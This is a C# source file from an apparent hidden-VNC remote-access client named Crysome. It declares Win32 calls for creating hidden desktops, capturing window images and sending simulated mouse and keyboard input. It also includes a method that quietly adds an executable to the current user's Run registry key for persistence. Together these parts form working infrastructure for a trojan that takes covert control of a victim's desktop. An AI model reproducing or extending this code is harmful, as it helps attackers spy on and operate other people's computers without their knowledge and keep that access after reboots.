314 lines
8.3 KiB
C#
314 lines
8.3 KiB
C#
using System;
|
|
using System.Runtime.InteropServices;
|
|
using System.Text;
|
|
using Microsoft.Win32;
|
|
|
|
namespace Crysome.Client.Hvnc;
|
|
|
|
public sealed class Utils
|
|
{
|
|
public delegate bool EnumDesktopWindowsDelegate(IntPtr hWnd, IntPtr lParam);
|
|
|
|
public enum DESKTOP_ACCESS : uint
|
|
{
|
|
DESKTOP_NONE = 0u,
|
|
DESKTOP_READOBJECTS = 1u,
|
|
DESKTOP_CREATEWINDOW = 2u,
|
|
DESKTOP_CREATEMENU = 4u,
|
|
DESKTOP_HOOKCONTROL = 8u,
|
|
DESKTOP_JOURNALRECORD = 16u,
|
|
DESKTOP_JOURNALPLAYBACK = 32u,
|
|
DESKTOP_ENUMERATE = 64u,
|
|
DESKTOP_WRITEOBJECTS = 128u,
|
|
DESKTOP_SWITCHDESKTOP = 256u,
|
|
GENERIC_ALL = 511u
|
|
}
|
|
|
|
public enum GetWindowType : uint
|
|
{
|
|
GW_HWNDFIRST,
|
|
GW_HWNDLAST,
|
|
GW_HWNDNEXT,
|
|
GW_HWNDPREV,
|
|
GW_OWNER,
|
|
GW_CHILD,
|
|
GW_ENABLEDPOPUP
|
|
}
|
|
|
|
public enum SETWINDOWPOSITION : uint
|
|
{
|
|
SWP_NOSIZE = 1u,
|
|
SWP_NOMOVE = 2u,
|
|
SWP_NOZORDER = 4u,
|
|
SWP_NOACTIVATE = 0x10u,
|
|
SWP_SHOWWINDOW = 0x40u,
|
|
SWP_HIDEWINDOW = 0x80u,
|
|
SWP_ASYNCWINDOWPOS = 0x4000u
|
|
}
|
|
|
|
public struct POINT
|
|
{
|
|
public int x;
|
|
|
|
public int y;
|
|
}
|
|
|
|
public struct RECT
|
|
{
|
|
public int left;
|
|
|
|
public int top;
|
|
|
|
public int right;
|
|
|
|
public int bottom;
|
|
}
|
|
|
|
public struct WINDOWPLACEMENT
|
|
{
|
|
public int length;
|
|
|
|
public int flags;
|
|
|
|
public int showCmd;
|
|
|
|
public POINT ptMinPosition;
|
|
|
|
public POINT ptMaxPosition;
|
|
|
|
public RECT rcNormalPosition;
|
|
}
|
|
|
|
public const uint DESKTOP_ENUMERATE = 1u;
|
|
|
|
public const int GWL_STYLE = -16;
|
|
|
|
public const int WS_DISABLED = 134217728;
|
|
|
|
public const int WM_CHAR = 258;
|
|
|
|
public const int WM_KEYDOWN = 256;
|
|
|
|
public const int WM_KEYUP = 257;
|
|
|
|
public const uint WM_PASTE = 770u;
|
|
|
|
public const int VK_CONTROL = 17;
|
|
|
|
public const int V_KEY_V = 86;
|
|
|
|
public const int WM_LBUTTONUP = 514;
|
|
|
|
public const int WM_LBUTTONDOWN = 513;
|
|
|
|
public const int WM_MOUSEMOVE = 512;
|
|
|
|
public const int WM_CLOSE = 16;
|
|
|
|
public const int WM_SYSCOMMAND = 274;
|
|
|
|
public const int SC_MINIMIZE = 61472;
|
|
|
|
public const int SC_RESTORE = 61728;
|
|
|
|
public const int SC_MAXIMIZE = 61488;
|
|
|
|
public const int HTCAPTION = 2;
|
|
|
|
public const int HTTOP = 12;
|
|
|
|
public const int HTBOTTOM = 15;
|
|
|
|
public const int HTLEFT = 10;
|
|
|
|
public const int HTRIGHT = 11;
|
|
|
|
public const int HTTOPLEFT = 13;
|
|
|
|
public const int HTTOPRIGHT = 14;
|
|
|
|
public const int HTBOTTOMLEFT = 16;
|
|
|
|
public const int HTBOTTOMRIGHT = 17;
|
|
|
|
public const int HTCLOSE = 20;
|
|
|
|
public const int HTMINBUTTON = 8;
|
|
|
|
public const int HTMAXBUTTON = 9;
|
|
|
|
public const int HTTRANSPARENT = -1;
|
|
|
|
public const int VK_RETURN = 13;
|
|
|
|
public const int MN_GETHMENU = 481;
|
|
|
|
public const int BM_CLICK = 245;
|
|
|
|
public const int MAX_PATH = 260;
|
|
|
|
public const int WM_NCHITTEST = 132;
|
|
|
|
public const int SW_SHOWMAXIMIZED = 3;
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
public static extern IntPtr GetDC(IntPtr hWnd);
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
public static extern bool SetThreadDesktop(IntPtr hDesktop);
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
public static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
|
|
|
|
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
|
public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern IntPtr GetDesktopWindow();
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
public static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect);
|
|
|
|
[DllImport("user32.dll")]
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
|
public static extern bool IsWindowVisible(IntPtr hWnd);
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
|
public static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
public static extern IntPtr GetWindow(IntPtr hWnd, GetWindowType uCmd);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern IntPtr GetTopWindow(IntPtr hWnd);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);
|
|
|
|
[DllImport("gdi32.dll")]
|
|
public static extern IntPtr CreateCompatibleDC(IntPtr hdc);
|
|
|
|
[DllImport("gdi32.dll")]
|
|
public static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight);
|
|
|
|
[DllImport("gdi32.dll")]
|
|
public static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj);
|
|
|
|
[DllImport("gdi32.dll")]
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
|
public static extern bool DeleteObject(IntPtr hObject);
|
|
|
|
[DllImport("gdi32.dll")]
|
|
public static extern bool DeleteDC(IntPtr hdc);
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
public static extern bool CloseDesktop(IntPtr hDesktop);
|
|
|
|
[DllImport("gdi32.dll")]
|
|
public static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern IntPtr WindowFromPoint(POINT point);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern IntPtr PostMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern bool ScreenToClient(IntPtr hWnd, ref POINT lpPoint);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern IntPtr ChildWindowFromPoint(IntPtr hWnd, POINT point);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern bool PtInRect(ref RECT lprc, POINT pt);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern bool SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern int GetWindowLong(IntPtr hWnd, int nIndex);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern bool GetWindowPlacement(IntPtr hWnd, ref WINDOWPLACEMENT lpwndpl);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern int MenuItemFromPoint(IntPtr hWnd, IntPtr hMenu, POINT pt);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern int GetMenuItemID(IntPtr hMenu, int nPos);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern IntPtr GetSubMenu(IntPtr hMenu, int nPos);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern bool MoveWindow(IntPtr hWnd, int x, int y, int width, int height, bool repaint);
|
|
|
|
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
|
public static extern int RealGetWindowClass(IntPtr hwnd, [Out] StringBuilder pszType, int cchType);
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int x, int y, int cx, int cy, uint uFlags);
|
|
|
|
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
|
public static extern ushort VkKeyScan(char ch);
|
|
|
|
[DllImport("user32.dll", SetLastError = true)]
|
|
public static extern bool EnumDesktopWindows(IntPtr hDesktop, EnumDesktopWindowsDelegate lpfn, IntPtr lParam);
|
|
|
|
[DllImport("shell32.dll", SetLastError = true)]
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
|
public static extern bool IsUserAnAdmin();
|
|
|
|
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
|
public static extern int GetWindowTextLength(IntPtr hWnd);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern IntPtr GetWindowThreadProcessId(IntPtr hWnd, out uint ProcessId);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern bool CloseHandle(IntPtr hObject);
|
|
|
|
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
|
public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);
|
|
|
|
public static bool IsAdmin()
|
|
{
|
|
bool result = false;
|
|
try
|
|
{
|
|
result = IsUserAnAdmin();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return result;
|
|
}
|
|
|
|
public static bool AddToStartupNonAdmin(string executablePath, string name = "yooooooooo")
|
|
{
|
|
string name2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
|
|
try
|
|
{
|
|
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64).OpenSubKey(name2, writable: true))
|
|
{
|
|
registryKey.SetValue(name, "\"" + executablePath + "\"");
|
|
}
|
|
return true;
|
|
}
|
|
catch
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
}
|